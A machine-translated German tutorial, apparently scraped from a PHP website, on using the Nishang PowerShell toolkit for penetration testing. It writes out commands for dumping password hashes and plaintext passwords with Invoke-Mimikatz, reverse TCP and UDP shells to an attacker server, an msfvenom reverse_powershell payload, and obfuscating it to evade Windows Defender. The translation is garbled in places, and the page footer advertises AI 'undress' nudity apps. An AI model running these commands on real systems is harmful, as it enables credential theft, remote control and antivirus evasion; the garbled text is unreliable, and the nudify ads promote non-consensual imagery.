


So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool
Anfängliches PowerShell, lassen Sie uns zunächst das Konzept verstehen: PowerShell kann als aktualisierte Version von cmd (bat scripting language) betrachtet werden, einer Skriptsprache auf der Windows-Plattform. Es ist objektorientiert und eng mit .Net FrameWork verwandt. Man kann es sich auch als Bash-Shell unter Windows vorstellen. Windows PowerShell ist eine Befehlszeilen-Shell und Skriptumgebung, die es Befehlszeilenbenutzern und Skriptprogrammierern ermöglicht, die Leistungsfähigkeit von .NET Framework zu nutzen. Es stellt viele nützliche neue Konzepte vor, die das Wissen, das Sie erwerben, und die Skripts, die Sie in der Windows-Eingabeaufforderungs- und Windows-Host-Umgebung erstellen, weiter erweitern. Der Code wird im Speicher ausgeführt und berührt die Festplatte nicht. Viele Sicherheitsprodukte können die Aktivitäten von PowerShell nicht erkennen. Die Ausführung von cmd.exe ist jedoch nicht möglich. Tatsächlich müssen wir während des Penetrationstestprozesses einige Schutzsoftware umgehen. Neben der Umgehung von Skripten oder anderen Tools ist auch das PoweShell-Tool eine gute Wahl. Zum Beispiel verwenden wir das Passwort, um das magische Mimikatz auf dem Zielhost zu erfassen. Dieses von einem französischen Experten geschriebene magische Tool wird häufiger von allen verwendet. Das Beste daran ist, dass Sie das Klartext-Passwort des aktiven Windows erhalten können Konto von lsass.exe. Aber wenn Sie es nicht gut schaffen, das Töten zu vermeiden, werden Sie direkt von einem bestimmten tötungsfreien Familieneimer überholt. Mit Powershell kann ein Angreifer Befehle ausführen, ohne die Festplatte zu berühren. Hier sind einige häufig verwendete Tools:
Einführung in Nishang
Nishang ist ein spezielles Tool für Penetrationstests auf Basis von PowerShell. Es integriert Skripte und verschiedene Payloads, wie z. B. Passworterfassung, Port-Scanning, Privilegieneskalation usw. Dieses Tool wird häufig von Anfängern im täglichen Penetrationstest verwendet. Zuerst müssen wir dieses Tool herunterladen: https://github.com/samratashok/nishang. Nach dem Herunterladen können wir sehen, was die folgenden Tools enthalten. Als nächstes übergeben wir die spezifischen Eine experimentelle Umgebung wird verwendet, um die häufig verwendeten Module im Penetrationstestprozess zu demonstrieren. Vor der Demonstration müssen einige häufige Fehler erläutert werden, die beim Ausführen des Powershell-Tools auftreten, z. B. Berechtigungsprobleme beim Ausführen von Skripten, Probleme beim Importieren von Modulen usw.
Powershell ist beim ersten Importieren des Moduls nicht zulässig, da die Standardrichtlinie nicht zulässig ist. Zu diesem Zeitpunkt müssen wir die Ausführungsrichtlinie ändern, die als remotesigned bezeichnet wird.
Schauen wir uns die aktuelle Ausführungsrichtlinie an. Eingeschränkt ist die Ausführung von Skripten nicht zulässig, auch wenn Sie über Administratorrechte verfügen. Wir müssen die Berechtigungen ändern und den Befehl ausführen:
Set-ExecutionPolicy remotesigned Wenn wir die aktuelle Ausführungsrichtlinie erneut abfragen, wird remotesigned das Skript erneut erfolgreich importiert.
Wenn wir einen Server bekommen, müssen wir wissen, ob der Zielhost eine physische Maschine oder eine virtuelle Maschine ist. Führen Sie den Befehl aus: Check-VM
Zuallererst: nishang Es integriert auch ein Skript zum Erfassen von Passwörtern: #Get-PassHashes //Einfache und direkte Erfassung und Anzeige in der DOS-Schnittstelle;
#powershell –exec bypass –Command "& {Import -Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat |. Out-File hash.txt}" //Hash-Wert abrufen und in einem benutzerdefinierten Dokument speichern.
Da wir den Hash-Wert erfassen können, können wir auch das Klartext-Passwort erfassen. Schauen wir uns zunächst das Skript zum Erfassen des Passworts an. Wir können sehen, dass auch das Tool Mimikatz verwendet wird, das jedoch nur in das Powershell-Skript geladen wird.
Wir können den folgenden Befehl verwenden, um das Klartext-Passwort zu erhalten:
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz }" Versuchen Sie, das Klartextkennwort des aktuellen Systembenutzers direkt zu erfassen. (Der am häufigsten verwendete Befehl)
Eine Welle von Port-Rebounds
Während des Penetrationstests sind wir bei der Portweiterleitung auf eine Reihe tödlicher Familien-Buckets, Nclcxsockes-Agenten usw. gestoßen Von Zeit zu Zeit wurde Er getötet und ausgerottet. Dann können wir zu diesem Zeitpunkt das Portweiterleitungsskript in Nishang verwenden. Neben der Einführung der integrierten Portweiterleitung experimentieren wir hier auch mit der Portweiterleitung mit MSF, die beide einen öffentlichen Netzwerkserver erfordern.
1. TCP-Portweiterleitung (umgekehrte Verbindung)
Führen Sie den Überwachungsbefehl auf dem öffentlichen Netzwerkserver aus: nc -lvp 5555
Der Zielhost führt den Portweiterleitungsbefehl aus: Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx .115 – Port 5555
Nachdem wir die Befehle auf dem Zielhost bzw. dem öffentlichen Netzwerk ausgeführt haben, springt der öffentliche Netzwerkserver eine Shell zurück, sodass wir die Befehle des Intranetservers ausführen können.
2. UDP-Portweiterleitung (umgekehrte Verbindung)
Führen Sie den Abhörbefehl auf dem öffentlichen Netzwerkserver aus: nc -lup 6666
Der Zielhost führt den Portweiterleitungsbefehl aus: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx .xxx.115 -Port 6666
Zusätzlich zu Rückwärtsverbindungen verwende ich bei Penetrationstests oft auch Rückwärtsverbindungen. Wenn die Großen an Vorwärtsverbindungen interessiert sind, können Sie gehen Mach es. Okay, jetzt verwenden wir Powershell und MSF für die Portweiterleitung. Zuerst überprüfen wir mit dem Befehl, ob es ein Powershell-Modul in MSF gibt:
##msfvenom -l payloads |grep 'reverse_powershell //Fragen Sie den Speicherort des Powershell-Moduls ab .
Wir verwenden MSF, um einen Befehl zum Generieren eines Rebound-Ports zu generieren:
##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r //Nutzlast generieren, Typ ist Powershell, der rot markierte Abschnitt ist der Befehl, der auf dem Zielhost ausgeführt werden muss.
Der nächste Schritt besteht darin, den gerade generierten Powershell-Befehl auf dem Zielhost auszuführen und Port 9999 auf dem öffentlichen Server abzuhören. Auf diese Weise können wir die Shell des Zielhosts erfolgreich an den öffentlichen Netzwerkserver weiterleiten.
Wir werden auch darüber nachdenken, wie wir mithilfe der Verschleierung Windows Defender auf dem Zielhost umgehen können, da die von uns generierte normale Nutzlast von Windows Defender überprüft wird und wir diesen Prüfmechanismus umgehen müssen. Nehmen wir die obige Nutzlast als Beispiel, um sie zu verschleiern und Windows Defender zu umgehen. Manchmal führen wir die von uns generierte normale Nutzlast direkt auf dem Zielhost aus und sie kann direkt von Windows Defender abgefangen werden. Das Tool zur Verschleierung ist zweifellos Invoke-Obfuscation von Daniel Bohannon. Die Github-Seite des Projekts ist zu finden.
Zuerst starten wir das Invoke-Obfuscation-Tool:
Import-Module ./Invoke-Obfuscation.psd1 //Import Invoke-Obfuscation.psd1;
Invoke-Obfuscation //Starten Sie das Invoke-Obfuscation-Tool;
Jetzt werden wir die soeben generierte Portweiterleitungsnutzlast verschleiern. Schauen wir uns zunächst die Parameter verschiedener Verschleierungsverarbeitungsmethoden an:
Welche Teile der Nutzlast verschleiert werden müssen, müssen wir im Voraus festlegen, was mit dem folgenden Befehl erfolgen kann:
Set scriptblock 'payload';
Wir entscheiden uns dafür, den gesamten Befehl als Zeichenfolge zu verschleiern ( Die spezifische Auswahl basiert auf der spezifischen Penetrationstestumgebung):
Wählen Sie 1 für ASCII-Verschleierung. Wir geben 1.ps1 ein, um die Ausgabe anzuzeigen. Dieser Befehl entspricht auch dem Speichern der verschleierten Datei im aktuellen Verzeichnis Beenden Sie es mit 1. ps1:
Führen Sie dieses Skript auf dem Zielhost aus. Der öffentliche Netzwerkserver überwacht Port 9999 und kann auch die Shell des Intranet-Hosts erfolgreich bouncen:
The Die Tools von Powershell und Cobaltstrike sind unterschiedlich. usw. Dieses Tool ist auch ein leistungsstarkes Tool für die Intranet-Penetration. Wir sprechen gerade darüber, welche Art von Funken Powershell und Cobalt Strike berühren können.
Cobalt Strike muss auf dem Client bzw. Server installiert werden und dann dieses Tool starten:
Das obige ist der detaillierte Inhalt vonSo verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen



Was ist eine ISO-Datei? Eine ISO-Datei ist eine Datei, die eine exakte Kopie einer optischen Disc, beispielsweise einer DVD oder CD, enthält. Diese Art von Disk-Image kann auf Ihrem Computer installiert werden und so aussehen, als ob Sie ein optisches Laufwerk an Ihren Computer angeschlossen und eine CD oder DVD mit Daten in das Laufwerk eingelegt hätten. ISO-Dateien können auch verwendet werden, um neue Kopien der DVDs oder CDs zu brennen, von denen sie erstellt wurden, oder um einfach eine große Anzahl von Dateien in einer einzigen Datei zusammenzufassen, die einfach heruntergeladen werden kann. ISO-Dateien sind oft recht groß; wenn Sie damit fertig sind, werden Sie dies höchstwahrscheinlich tun wollen

So öffnen Sie PowerShell als Administrator unter Windows 11. Wenn Sie PowerShell mit erhöhten Berechtigungen oder Berechtigungen auf Administratorebene ausführen, können Sie Befehle ausführen, die den Windows-Dateischutz umgehen, z. B. diejenigen, die für Windows-Installationsdateien verwendet werden. Sie können PowerShell ausführen, indem Sie PowerShell direkt öffnen oder indem Sie die neue Windows-Terminalanwendung öffnen, die PowerShell standardmäßig zum Ausführen von Befehlen verwendet. Öffnen Sie PowerShell als Administrator unter Windows 11: Öffnen Sie das Startmenü und geben Sie Powershell oder Terminal ein. von rechts

Zunächst einmal PowerShell. Lassen Sie uns zunächst das Konzept verstehen: PowerShell kann als aktualisierte Version von cmd (bat scripting language) betrachtet werden, einer Skriptsprache auf der Windows-Plattform. Es ist objektorientiert und eng mit .NetFrameWork verwandt. Man kann es sich auch als Bashshell unter Windows vorstellen. Windows PowerShell ist eine Befehlszeilen-Shell und Skriptumgebung, die es Befehlszeilenbenutzern und Skriptautoren ermöglicht, die Leistungsfähigkeit von .NET Framework zu nutzen. Es führt eine Reihe sehr nützlicher neuer Konzepte ein und erweitert die Möglichkeiten, die Sie in den Windows-Eingabeaufforderungs- und WindowsHost-Umgebungen erhalten, weiter

Viele Benutzer haben Probleme gemeldet, bei denen Windows PowerShell nicht mehr funktioniert oder überhaupt nicht geöffnet wird. Einer der häufigsten Gründe für die Meldung „PowerShell funktioniert nicht mehr“ ist, dass sich auf Ihrem Computer ein versteckter Virus befindet. Dies wiederum verlangsamt Ihr System und andere Prozesse auf dem System funktionieren nicht mehr. Die Fehlermeldung gibt keine Auskunft über die Ursache dieses Problems, was die Lösung erschwert. Wenn Sie sich darüber ärgern, dass PowerShell nicht läuft oder Probleme beim Öffnen auf Ihrem PC auftreten, dann ist dieser Artikel genau das Richtige für Sie. In diesem Artikel haben wir einige Lösungen besprochen, mit denen Sie diesen Fehler beheben können. Fix 1 – Deaktivieren und erneutes Aktivieren von Windows PowerShell 1. Verwenden Sie Ctr

Wird beim Ausführen des Skripts in PowerShell die Fehlermeldung „Add-AppxPackage: Bereitstellung fehlgeschlagen mit HRESULT: 0x80073D02, Das Paket kann nicht installiert werden, da die von ihm geänderte Ressource derzeit verwendet wird. Fehler 0x80073D02...“ angezeigt? Wie in der Fehlermeldung angegeben, tritt dies auf, wenn der Benutzer versucht, eine oder alle WindowsShellExperienceHost-Anwendungen erneut zu registrieren, während der vorherige Prozess ausgeführt wird. Wir haben einige einfache Lösungen, um dieses Problem schnell zu beheben. Fix 1 – Beenden Sie den Experience-Host-Prozess, den Sie beenden müssen, bevor Sie den Powershell-Befehl ausführen

So aktivieren oder deaktivieren Sie ein Administratorkonto unter Windows 11 mit PowerShell Eine der schnellsten Möglichkeiten, ein Administratorkonto unter Windows 11 zu aktivieren, ist die Verwendung von PowerShell. Sie können auch das neuere Windows-Terminal oder, wenn Sie möchten, das ältere Eingabeaufforderungstool (cmd) verwenden. Sie müssen sicherstellen, dass Sie diese Befehle von einem Benutzerkonto ausführen, das bereits über Administratorrechte verfügt. Wenn Sie ein Standardbenutzerkonto verwenden, müssen Sie zu einem anderen Benutzerkonto wechseln, um dieses Tool auszuführen. So aktivieren Sie ein Administratorkonto mit PowerShell unter Windows 11: Öffnen Sie es, indem Sie auf die Schaltfläche „Start“ klicken oder die Windows-Taste drücken

Zum Aufrufen klicken: ChatGPT-Tool-Plug-in-Navigationsliste Git ist eines der beliebtesten Versionskontrollsysteme, mit dem Sie alle an Dateien vorgenommenen Änderungen verfolgen können, sodass Sie bei Bedarf problemlos zu einer früheren Version zurückkehren können. Mit Git können Sie sowohl über ein lokales Repository als auch über ein Remote-Repository verfügen, was andere zur Zusammenarbeit ermutigt und alle diese Änderungen in einer einzigen Quelle zentralisiert. Voraussetzungen für die Installation von Git unter Windows 11 Bevor wir beginnen, gibt es einige Voraussetzungen für die Installation von Git unter Windows. Hier kommen sie: Administratorrechte für Ihr Windows-Konto für den Zugriff auf ein Befehlszeilentool (z. B. CMD oder PowerShell) Git-Benutzername und Passwort (optional) Ihr bevorzugter Texteditor WSL unter Ubuntu

Unterschiede: 1. Beim Ausführen von Cmd nimmt es nur weniger als 1 MB Speicher ein, bei Verwendung von PowerShell sind es etwa 20 MB Speicher. 2. Cmd unterstützt keine Syntaxhervorhebung, PowerShell jedoch. 3. Wenn Sie mit Cmd einige komplexere und zeitaufwändigere Befehle ausführen und das Befehlszeilenfenster nach Belieben ziehen, kann der Inhalt im Fenster immer noch derselbe bleiben, PowerShell jedoch nicht. 4. Cmd kann nur Befehle in der .net-Bibliothek und auch keine Linux-Befehle verwenden.
